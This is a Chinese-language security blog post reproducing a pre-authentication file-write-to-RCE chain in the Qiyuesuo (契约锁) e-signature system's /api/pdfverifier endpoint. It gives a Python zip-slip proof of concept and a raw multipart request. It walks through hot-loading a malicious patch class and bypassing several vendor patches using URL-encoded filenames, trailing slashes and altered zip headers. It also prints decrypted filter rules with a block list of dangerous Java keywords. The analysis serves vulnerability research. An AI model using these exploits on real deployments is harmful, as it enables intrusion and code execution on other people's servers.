契约锁pdfverifier漏洞分析
1diot9 Lv4

前言

护网的时候就有看到这个漏洞,现在终于有时间来复现一下。

整理一下环境搭建中遇到的问题,以及复现过程中踩的坑。

我这里使用契约锁4.3.4,jdk8u341,360zip,win11进行复现。

环境搭建

应用目录分析

先去某鱼收一个安装包。解压完后的目录长这样:

img

bin/start.bat是启动脚本,我们打开加上远程调试参数:

img

从这里也可以发现,契约锁会同时运行3个springboot进程。

对应的端口可以去jar包的application.properties里面看。

privapp.jar对应9180,privoss.jar对应9181,privopen对应9182

img

官方建议只对外开放9180端口pdfverifier接口的漏洞便是在这个端口,对应的jar包为privapp.jar。所以我们上面只在privapp.jar处加调试参数。

除了上面的三个主要jar,还有一个libs目录,里面是大量第三方依赖,但是也有一些priv开头的jar:

img

这些priv是上面三个主要jar的公共依赖。

然后日志在logs目录下:

img

console.log里是当天的。

补丁结构分析

去官网下载补丁:

https://www.qiyuesuo.com/more/security/servicepack

补丁下载链接为:https://dl.qiyuesuo.com/private/security/1.4.0/private-security-patch.package.tar.gz

将1.4.0替换成别的数字,即可下载任意版本补丁。

补丁目录:

img

读一下README

img

需要把private-security-loader-1.0.0.jar放入libs目录,然后private-security-patch.jar放入security目录。

知道这些后,我们就可以开始搭建idea项目了。

idea项目搭建

需要添加为lib的有:三个主要jar包;libs目录中契约锁相关的jar;libs里面的其他依赖;补丁包里的两个jar

需要反编译成源码的有:privapp.jar;libs目录中契约锁相关的jar;补丁包里的两个jar

把需要反编译的全打包成zip,然后拖到jd-gui一起反编译即可,最后解压到idea,添加为源。

用之前在审计U8cloud时的脚本,把com.qiyuesuo和net.qiyuesuo的jar全部筛选出来:

注释没改不用看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import os
import zipfile
import shutil
import logging

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')

def check_jar_conditions(jar_path):
"""检查 JAR 文件的第一层目录中是否包含 'nc'、'u8c' 或者 com/yonyou"""
try:
with zipfile.ZipFile(jar_path, 'r') as jar:
file_names = jar.namelist()
first_level_dirs = set()

# 获取 JAR 文件中的第一层目录
for file in file_names:
first_level = file.split('/')[0]
first_level_dirs.add(first_level)

# 检查是否满足条件
if 'com' in first_level_dirs:
# 如果第一层目录是 'com',检查第二层是否为 'qiyuesuo'
for file in file_names:
parts = file.split('/')
if len(parts) >= 2 and parts[0] == 'com' and parts[1] == 'qiyuesuo':
return True
if 'com' in first_level_dirs:
# 如果第一层目录是 'com',检查第二层是否为 'qiyuesuo'
for file in file_names:
parts = file.split('/')
if len(parts) >= 2 and parts[0] == 'net' and parts[1] == 'qiyuesuo':
return True
return False
except Exception as e:
logging.error(f"无法处理 JAR 文件 {jar_path}: {e}")
return False

def copy_jar_files(source_dir, target_dir):
"""递归提取目录下的所有 JAR 包,并按 dir1_dir2_xxx.jar 格式重命名"""
if not os.path.exists(target_dir):
os.makedirs(target_dir)

# 遍历源目录中的所有文件
for root, dirs, files in os.walk(source_dir):
for file in files:
if file.endswith('.jar'):
jar_path = os.path.join(root, file)

# 判断该 JAR 包是否满足条件
if check_jar_conditions(jar_path):
# 获取文件的相对路径并生成新的文件名
relative_path = os.path.relpath(root, source_dir)
new_filename = relative_path.replace(os.sep, '_') + '_' + file
target_path = os.path.join(target_dir, new_filename)

# 检查目标目录是否已有相同文件名
counter = 1
while os.path.exists(target_path):
# 如果文件已存在,给文件加上数字后缀
name, ext = os.path.splitext(file)
target_path = os.path.join(target_dir, f"{new_filename.split('.')[0]}_{counter}{ext}")
counter += 1

# 复制 JAR 文件
shutil.copy(jar_path, target_path)
logging.info(f"已复制符合条件的 JAR 文件: {jar_path} -> {target_path}")

if __name__ == '__main__':
# 输入源目录和目标目录
source_directory = './' # 替换为源目录路径
target_directory = 'D:/qiyuesuoJars' # 替换为目标目录路径

# 复制符合条件的 JAR 文件
copy_jar_files(source_directory, target_directory)

最终筛出来这些包:

img

最终大概长这样,我这里略有不同,反正要用的包全部添加了就行:

img

注意事项

文章里看到过privapp.jar无法正常解压的情况。解决方法如下:

img

路由分析

privapp.jar打开,有两个文件夹比较显眼,一个是config,一个是security:

img

这两个目录大概率有鉴权相关操作。后面发现,security里是具体实现,config里配置了路由:

PrivappConfigurer:

img

allowed字符数组里,定义了不需要鉴权的路由,因为有/captcha, /login等,很明显就是不用鉴权的。要注意的是,所有路由访问时都得在前面加上/api,因为下面allowedArr里做了字符串拼接操作。

我们今天的主角也在里面:

img

漏洞分析

任意写

这里的漏洞是一个解压穿越漏洞。

全局搜索/pdfverifier:

img

img

说实话,我还是不太清楚,为什么要通过/api/pdfverifier来访问。类上面写的path不是 /pdfverifier吗?我的开发基础太差了,之后还得好好学习一下。

我们的漏洞方法是这里的verify。

前面两行没什么,就是获取上传文件的字节和获取扩展名。跟进doVerfify:

img

这里只允许pdf和odf文件,且pdf不能是加密的。我们跟进红框处的verify方法:

img

这里的common-ofd似乎也是自研的,我在网上没搜到,所以应该也归类到业务代码进行反编译。不过能发现common-ofd里面也是net.qiyuesuo开头的,所以可以写脚本把有这两层目录的jar包全部筛选出来,这样就能找到所有业务相关jar了。

decompre就是decompress,这里我们跟进红框,很明显就是一个解压操作:

img

断点处直接拿zipEntry的name进行拼接了,存在目录穿越的漏洞。所以我们可以实现任意写文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import zipfile

import requests


def gen_zip(filename):
try:
zipFile = zipfile.ZipFile(f'bad.ofd', 'w')
zipFile.write("1.txt", f"../{filename}", zipfile.ZIP_DEFLATED)
zipFile.close()
except Exception as e:
print(e)


if __name__ == '__main__':
gen_zip("123aaazxc.txt")

url = "http://127.0.0.1:9180/api/pdfverifier"
file = open("bad.ofd", "rb")

proxy = {
"http": "http://127.0.0.1:8080/",
"https": "http://127.0.0.1:8080/",
}

requests.post(url, files={"file": file})

由于默认写在C盘,所以只往前写一个目录,写到Temp里,不然可能报错,说没有写权限:

img

成功写入:

img

但是,springboot应用,怎么从任意写提升到RCE?

1、linux可以写计划任务。

缺点:这里是用qiyuesuo用户起的web应用,没权限

2、覆盖charset.jar

缺点:不知道jdk路径,得猜,而且方法很麻烦

3、写模板文件

缺点:如果模板文件从jar里读取,就写不了;而且这里没有Thymeleaf等模板解析器

4、写sshkey

缺点:还是权限问题,而且容易被发现

这里就要学到一种新的RCE方式,热加载补丁。

热加载补丁

再回顾一下补丁里的README文件:

img

img

上面提到,把priv-loader放到libs后,在服务启动的情况下,直接将patch放入security文件夹,然后等待30s,查看日志是否有输出。

这里可以猜测,这里的补丁是不是通过热加载的方式打上的?这里又提到“被重新加载的类”,那么类在重新加载的时候,会不会触发里面的静态方法和无参构造呢?

通过名字可以知道,priv-loader是负责加载补丁包的,而patch是真正的补丁内容。我们这里看一下priv-loader的源码:

img

com.qiyuesuo.security.patch.loader.SecurityLibManager#deployScheduler就是进行热加载的地方。

这里会检查patch的sha1值,如果发现变化,就会重新进行加载。

我们跟进一下this.reload:
img

使用自定义的SecurityLibClassLoader去加载patchJar,然后指定targetLibClassLoader为当前线程的上下文类加载器,这样当前线程就能从patchJar中进行类加载。

然后回去跟进this.registerQVDLogic:

img

跟进readAndLoadClassNameFromJar方法:

img

这里会load patchJar里面的所有类,并返回一个列表,里面都是相应的className。

回到registerQVDLogic,这次跟进this.registerFilterLogic:

img

这里会初始化com.qiyuesuo.security.patch.filter.logic包中的类,所以我们知道了该如何构造恶意patchJar。

向com.qiyuesuo.security.patch.filter.logic包中添加恶意类即可。为了让恶意类能够第一个顺利加载,需要设置恶意类名为AAAAxxxx。

直接打开jar,往里面拖文件即可:

img

顺利加载:

img

img

但是有一个现象,在断点停下前,会先打印两次,弹两次计算器,然后才在断点处停下,之后弹第三次计算器,那么前两次是为什么呢?我试过在Runtime.exec处打断点,但是前两次也无法停下。

有时候又是先在断点停下,但是还没到恶意类初始化的地方,就跳出两次计算器。

多次热加载?

下面的内容全是问killer师傅才知道的,再次感谢killer师傅的耐心解答。

断点下了,一定是能断住的,除非触发热加载的不是这个进程。

我们回想一下,契约锁应用是不是默认会开三个端口,而这三个端口,都是独立的springboot应用,也就是说,这是三个独立的进程。

说到这里,已经有些眉目了,大概率是因为三个进程都各自加载了一遍补丁,所以才会触发三次恶意类初始化。

但是还需要验证。这里需要用到一个新工具:Process Monitor

打开后我们需要在Filter菜单加两条过滤规则:

将进程名设置为java.exe:

img

将操作设置为ReadFile:

img

全部add后,点击apply应用。

接着快捷键ctrl+x,把之前的都清除。然后重复前面的恶意jar热加载,记得idea别开断点。

等三次计算器全弹出后,按ctrl+e,暂停捕捉。

img

img

img

这里可以看到,23656,2692,22660进程依次加载了恶意patchJar,并打开了计算器。我们查一下进程号对应的端口:

img

img

img

分别对应了9180,9182,9181

所以,如果这次idea打断点的话,就会先停下,然后执行到热加载前就弹出两次计算器。

到这里,为什么弹出三次计算器的问题终于得到了解决。

补丁分析

security.rsc

解密后会自动输出到日志,所以可以直接到日志中查看:

logs/console.log

img

这是1.3.7版本补丁的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
Key: SweepCodePreventLogic.LOWER_URI
Value: ^/contract/sweepcode/detail/\d{19}$
===================
Key: DangerOpenUrlLogic.RISK_URI
Value: /thirdintegration/save
===================
Key: DbTestPreventLogic.RISK_UPGRADE_URI
Value: /setup/dbtest
Value: /api/setup/dbtest
===================
Key: PinCatchPreventLogic.RISK_URI
Value: /login/pin
Value: /api/login/pin
===================
Key: PdfverifierPreventWrapper.OTHER
Value: .jar
Value: .sh
Value: .bat
Value: .py
Value: .class
Value: .java
Value: .bash
Value: .so
===================
Key: PdfverifierPreventWrapper.PARAM
Value: ../
===================
Key: UAPreventLogic.RISK_URI
Value: /user/add
Value: /api/user/add
===================
Key: CustomCodePreventLogic.UPLOAD_URL_LIST
Value: /utask/upload
Value: /api/code/upload
Value: /code/upload
Value: /api/sys/config/storage/custom/upload
Value: /sys/config/storage/custom/upload
Value: /api/sys/config/convert/upload
Value: /sys/config/convert/upload
Value: /api/message/strategy/upload
Value: /message/strategy/upload
Value: /code/seal/upload
Value: /api/code/seal/upload
Value: /code/category/upload
Value: /api/code/category/upload
===================
Key: TemplateParamUtils.REGEX
Value: ^[\+\-\*/\.\(\)0-9\s]+$
===================
Key: PdfverifierPreventWrapper.TYPE
Value: ofd
===================
Key: Qvd12Filter.BASIC_PATHS
Value: /favicon.ico
Value: /qyswebapp/assets
Value: /qys/webapp/basePath
Value: /license/checkExpire
Value: /api/license/checkExpire
Value: /checkHealth
Value: /login?service
===================
Key: SecurityPropertiesManager.ADDITIONAL_URL_LISTS
Value: /qyswebapp/assets/auth/**
Value: /qyswebapp/assets/avatar/**
Value: /qyswebapp/assets/css/**
Value: /qyswebapp/assets/db/**
Value: /qyswebapp/assets/favicon.ico
Value: /qyswebapp/assets/fonts/**
Value: /qyswebapp/assets/i18n/**
Value: /qyswebapp/assets/img/**
Value: /qyswebapp/assets/js/**
Value: /qyswebapp/assets/logo/**
Value: /qyswebapp/assets/oa/**
Value: /qyswebapp/assets/views/**
Value: /qyswebapp/assets/cmaps/**
Value: /qysoss/assets/auth/**
Value: /qysoss/assets/avatar/**
Value: /qysoss/assets/css/**
Value: /qysoss/assets/db/**
Value: /qysoss/assets/favicon.ico
Value: /qysoss/assets/fonts/**
Value: /qysoss/assets/i18n/**
Value: /qysoss/assets/img/**
Value: /qysoss/assets/js/**
Value: /qysoss/assets/logo/**
Value: /qysoss/assets/oa/**
Value: /qysoss/assets/views/**
Value: /assets/auth/**
Value: /assets/avatar/**
Value: /assets/css/**
Value: /assets/db/**
Value: /assets/favicon.ico
Value: /assets/fonts/**
Value: /assets/i18n/**
Value: /assets/img/**
Value: /assets/js/**
Value: /assets/logo/**
Value: /assets/oa/**
Value: /assets/views/**
Value: /assets/cmaps/**
===================
Key: TemplateParamUtils.PATTERN
Value: \{.*?\}
===================
Key: PinLoginPreventLogic.NAME
Value: service
===================
Key: SecurityVersionInfoLogic.METHOD
Value: getSecurityPatchAutoDownload
===================
Key: PdfverifierPreventWrapper.SENSITIVE_URL
Value: /document/createbyofd
Value: /api/document/createbyofd
===================
Key: CustomCodeRequestWrapper.ADJACENT_SEMICOLON_REGEX
Value: ;\s*;
===================
Key: SecurityPropertiesManager.RISK_URL_LISTS
Value: /user/change/mobile
Value: /user/mobile/pin
Value: /user/voice/pin
Value: /api/user/change/mobile
Value: /api/user/mobile/pin
Value: /api/user/voice/pin
Value: /user/get/account
Value: /qyswebapp/assets/**
Value: /qysoss/assets/**
Value: /assets/**
===================
Key: SweepCodePreventLogic.OVER_434_REGEX
Value: Xig/PS4qXGJfPVswLTldezEzfVxiKSg/PS4qXGJpZD1bMC05XXsxOX1cYikoPz0uKlxic2lnbmF0b3J5SWQ9WzAtOV17MTl9XGIpLiskCg
===================
Key: DangerUrlPreventLogic.RISK_URI
Value: /assets/loadResource
Value: /api/assets/loadResource
===================
Key: DangerUrlForbiddenLogic.RISK_URI
Value: /api/actuator
Value: /actuator
Value: /v3/api-docs
Value: /api/v3/api-docs
===================
Key: DocumentParamPreventLogic.TEMPLATE_URI_LIST
Value: /v2/contract/edit
Value: /v2/contract/create
Value: /contract/create
Value: /contract/createRetainParams
Value: /contract/edit
Value: /contract/fillparam
Value: /api/contract/create
Value: /api/contract/doc/edit
Value: /api/contract/fillparam
Value: /contract/create
Value: /contract/doc/edit
Value: /contract/fillparam
Value: /contract/createbycategory
===================
Key: NetCheckPreventLogic.URI
Value: /api/netCheck/setConfig
Value: /netCheck/setConfig
===================
Key: SweepCodePreventLogic.LOWER_434_REGEX
Value: Xig/PS4qXGJfPVswLTldezEzfVxiKSg/PS4qXGJzaWduYXRvcnlJZD1bMC05XXsxOX1cYikuKyQK
===================
Key: UploaderPreventLogic.RISK_URI
Value: /file/uploader/merge
Value: /api/file/uploader/merge
===================
Key: CustomCodeRequestWrapper.MULTIPLE_WHITESPACE_REGEX
Value: import\s
===================
Key: UpgradePreventLogic.RISK_UPGRADE_URI
Value: /upgrade
Value: /api/upgrade
Value: /update
Value: /api/update
===================
Key: UploaderPreventLogic.REGEX
Value: type
===================
Key: CustomCodeRequestWrapper.IMPORT_REGEX
Value: ^import\s+(static\s+)?[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)*\s*;$
===================
Key: CustomCodeRequestWrapper.SENSITIVE_KEY_LISTS
Value: Runtime
Value: Process
Value: ProcessBuilder
Value: SpelExpressionParser
Value: invoke
Value: Class.forName
Value: newInstance
Value: ClassLoader
Value: Constructor
Value: ObjectInputStream
Value: ScriptEngine
Value: parseExpression
Value: getDeclaredField
Value: setAccessible
Value: getMethod
Value: lookup
Value: freemarker
Value: security
Value: Base64
Value: SerializationUtils
Value: deserialize
Value: static
Value: Yaml
Value: JdbcRowSetImpl
Value: Transformer
Value: AgentManager
Value: JARSoundbankReader
Value: Ognl
Value: DefaultExecutor
Value: hutool
Value: Base16
Value: Base32
Value: Base58
Value: Base62
Value: Base64
Value: Base85
Value: Base91
Value: eval(
===================
Key: DangerOpenUrlLogic.RISK_STRING
Value: J6WPW25eHj
===================
Key: SecurityVersionInfoLogic.URL
Value: /security/info
===================
Key: PinLoginPreventLogic.PARAM
Value: applicantChange
Value: userName
Value: contact
Value: corpName
===================
Key: UpgradePreventLogic.RISK_UPGRADE_EXCLUDE_URI
Value: /upgrade/status
Value: /upgrade/sqldetail
Value: /api/upgrade/status
Value: /api/upgrade/sqldetail
Value: /update/password/pin
Value: /api/update/password/pin
Value: /update/password
Value: /api/update/password
Value: /upgrade/detail/download
Value: /upgrade/error/servicedetail
Value: /upgrade/error/sqldetail
Value: /upgrade/errordetail
===================
Key: UAPreventLogic.METHOD
Value: getRegisterPersonAccount
===================
Key: SweepCodePreventLogic.PRE_URI
Value: /contract/sweepcode/detail
Value: /api/contract/sweepcode/detail
===================
Key: TemplateParamRequestWrapper.TEMPLATE_PARAM_URI
Value: /api/template/param/edits
Value: /template/param/edits
Value: /api/template/html/update
Value: /template/html/update
===================
Key: PinLoginPreventLogic.RISK_URI
Value: /login
Value: /api/login
===================
Key: SweepCodePreventLogic.METHOD_2
Value: get
===================
Key: SweepCodePreventLogic.METHOD_1
Value: set
===================
Key: TemplateParamRequestWrapper.TEMPLATE_HTML_URI
Value: /template/html/add
Value: /api/template/html/add
===================
Key: UploaderPreventLogic.PARAM
Value: html
===================
Key: SweepCodePreventLogic.RISK_URI
Value: /contract/sweepcode/pin
Value: /api/contract/sweepcode/pin
===================
Key: SweepCodePreventLogic.LOWER_URI_API
Value: ^/api/contract/sweepcode/detail/\d{19}$
===================
Key: CustomCodePreventLogic.METHOD
Value: inInnerCompany
===================
Key: Qvd12Filter.RETRIEVE_WHITELIST_PATHS
Value: /company/retrieve
Value: /api/company/retrieve
Value: /captcha
Value: /api/captcha
Value: /user
Value: /api/user
Value: /user/auth
Value: /api/user/auth
Value: /login/
Value: /api/login/
Value: /apidsz/random
Value: /api/apidsz/random
Value: /sys/config
Value: /api/sys/config
Value: /css
Value: /api/css
Value: /checkHealth
Value: /api/checkHealth
===================
Key: PinCatchPreventLogic.NAME
Value: applicantChange
===================
Key: DangerOpenUrlLogic.PARAM_NAME
Value: x-qys-accesstoken
===================
Key: PdfverifierPreventLogic.PDFVERIFIER_URL_LIST
Value: /api/pdfverifier
Value: /pdfverifier
Value: /api/file/uploader/chunk
Value: /file/uploader/chunk
Value: /api/document/createbyfile
Value: /document/createbyfile
Value: /document/createbyofd
Value: /api/document/createbyofd
===================
Key: CustomCodeDealLogic.URL_LIST
Value: /api/code/download
Value: /code/download
===================

当然,查看解密代码,自己写脚本解密也行:

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.qiyuesuo.security.encrypt.RSAUtils;

import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class decRsc {
public static void main(String[] args) throws IOException {
decodeRsc("security.rsc");
}

public static void decodeRsc(String fileName) throws IOException {
File file = new File(fileName);
BufferedReader reader = new BufferedReader(new FileReader(file));
String line;
Map<String, List<String>> SECURITY_SRC_MAP = new HashMap<>();

while ((line = reader.readLine()) != null) {
String[] parts = line.split(":", 2);
if (parts.length == 2) {
String key = parts[0].trim();
String value = parts[1].trim();
List<String> decodedValueList = new ArrayList<>();
String[] encodedValueList = value.split(",");
for (String encodeValue : encodedValueList) {
String decodeValue = RSAUtils.decryptByDefaultPrivateKey(encodeValue);
decodedValueList.add(decodeValue.trim());
}
String decodedKey = RSAUtils.decryptByDefaultPrivateKey(key);
SECURITY_SRC_MAP.put(decodedKey, decodedValueList);
}
}

for (Map.Entry<String, List<String>> entry : SECURITY_SRC_MAP.entrySet()) {
String key = entry.getKey();
List<String> valueList = entry.getValue();
System.out.println("Key: " + key);
for (String value : valueList) {
System.out.println("Value: " + value);
}
System.out.println("===================");
}
}
}

1.3.2

分析

补丁包里主要的过滤代码应该在filter里:

img

logic里面是过滤逻辑;wrapper是包装类,一般用于过滤某一类请求。

QvdLogicManager会被QvdFilter调用,负责遍历每一个logic:

img

img

用idea自带的功能对比1.3.1和1.3.2的patchJar,找到修复点:

img

PdfverifierPreventLogic这里先对路由进行匹配,匹配成功的,会用PdfverifierPreventWrapper对request进行包装:

img

走完所有的filter后,就会进入springboot的处理逻辑,就是DispatcherServlet.doDispatcher里的那一套。里面会先处理上传的文件,最终走到补丁里添加的com.qiyuesuo.security.patch.filter.wrapper.PdfverifierPreventWrapper#getParts:

img

img

只有当filename结尾为ofd时,才会进入if逻辑,判断是否有穿越符。但是我们又必须保证在最终的verify方法里,文件后缀为ofd,这样才能触发解压穿越。这里使用url编码绕过。

PdfverifierPreventWrapper#getParts调用org.apache.catalina.core.ApplicationPart#getSubmittedFileName进行文件名解析,不会进行URL解码:

img

但是springboot的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest会解码:

img

img

img

所以可以通过URL编码来实现绕过。

绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/pdfverifier HTTP/1.1
Host: 127.0.0.1:9180
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 302
Content-Type: multipart/form-data; boundary=3bd5f90d2232775f31d7948a090430c8

--3bd5f90d2232775f31d7948a090430c8
Content-Disposition: form-data; name="file"; filename*="%62%61%64%2e%6f%66%64"

PKxxx

filename后面有个*,这样才能进入springboot的url解码逻辑。

1.3.3-1.3.5

这里我们直接对比1.3.5和1.3.6,看看修复点在哪里:

img

这里在URL处理时,移除了末尾的斜杠。而原本的逻辑,只是将//替换成/。

我们看一下uriProcessor这个方法:

img

首先能够发现,这个方法在各个Logic里面都会使用,用来从request里面解析url。解析URL是通过request.getRequestURI获取,所以这里能想到一些绕过,比如:

  • /api/;/pdfverifier
  • /api/./pdfverifier
  • ///api/pdfverifier

但是,在PdfLogic前,还有一个DangerUrlLogic,会对URL里的一些敏感字符进行拦截:

img

不允许出现//,./,;

所以得想其他的方法去绕过。

这里用到的就是Spring的路由解析特性,在最后加一个斜杠照样能访问到。

所以绕过为:api/pdfverifier/

这样就不会匹配PDFVERIFIER_URL_LIST:

img

下面的截图是解密后的security.rsc

img

1.3.6

对比1.3.6和1.3.7,看看1.3.6的绕过点是怎么修的:

img

1.3.6是将双斜杠换成单斜杠,1.3.7将任意多个斜杠,都替换成单斜杠。

这里的绕过是三斜杠绕过,即在路由末尾添加三个斜杠。但是前面讲过,DangerUrlLogic应该会拦截双斜杠才对,三斜杠理应也被拦截,那么为什么这里又可以了呢?

再看一下uriProcess方法:

img

最后是先替换双斜杠为单斜杠,然后再去除末尾的斜杠。

那么,///最终就会变成/,这样就跟1.3.5的绕过一样了。

1.3.7

和1.3.8补丁对比:

img

可以发现,原本的zis.getNextEntry被修改成takeentrie.hasMoreElements()了。而takeentrie.hasMoreElements()和后面pdfverifierController那边的解压逻辑是一样的。那是不是可以说明,能够制作一个压缩包,能够使zis.getNextEntry为null,且在后面正常解压?

我们跟进zis.getNextEntry,去看看怎么样才能返回null:

img

重点在readLOC,跟进:

img

这里其实是读取文件头等信息的方法,可以问一下AI,怎么样才能返回null:

img

所以我们可以修改文件头:

img

任意加两个字符即可,不会影响解压。

总结

这次新学的知识:

1、热加载触发恶意类

2、使用进程监视器观察热加载过程

3、URL解析差异导致的鉴权绕过

说实话,绕过里手法很多都是第一次见,以后得专门学一下URL解析差异导致的绕过

另外,如果自己去挖掘新漏洞,应该如何下手?

之前挖u8cloud时,是个spring mvc项目,几个入口路由都写在web.xml里了,难点在于搞清楚每个路由能调用哪些jar里的类,以及怎么去请求到具体的方法。

而契约锁是个springboot项目,主要的jar只有几个,无需鉴权的url也写在config类里了。现在的问题是,怎么筛选出对应的类?另外,这里的鉴权和过滤,大部分都不是直接在controller中处理的,而是在各种filter中。那么,要怎么知道你的请求会被哪些filter处理?

总之,大一点的springboot项目还有很多不熟悉的,尤其是在鉴权方面。之后有空得补一下开发相关的内容。

参考

契约锁pdfverifier RCE攻防绕过史

契约锁电子签章系统 pdfverifier rce 前台漏洞分析(从源码分析)-先知社区

契约锁代码审计分析_契约锁漏洞-CSDN博客

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量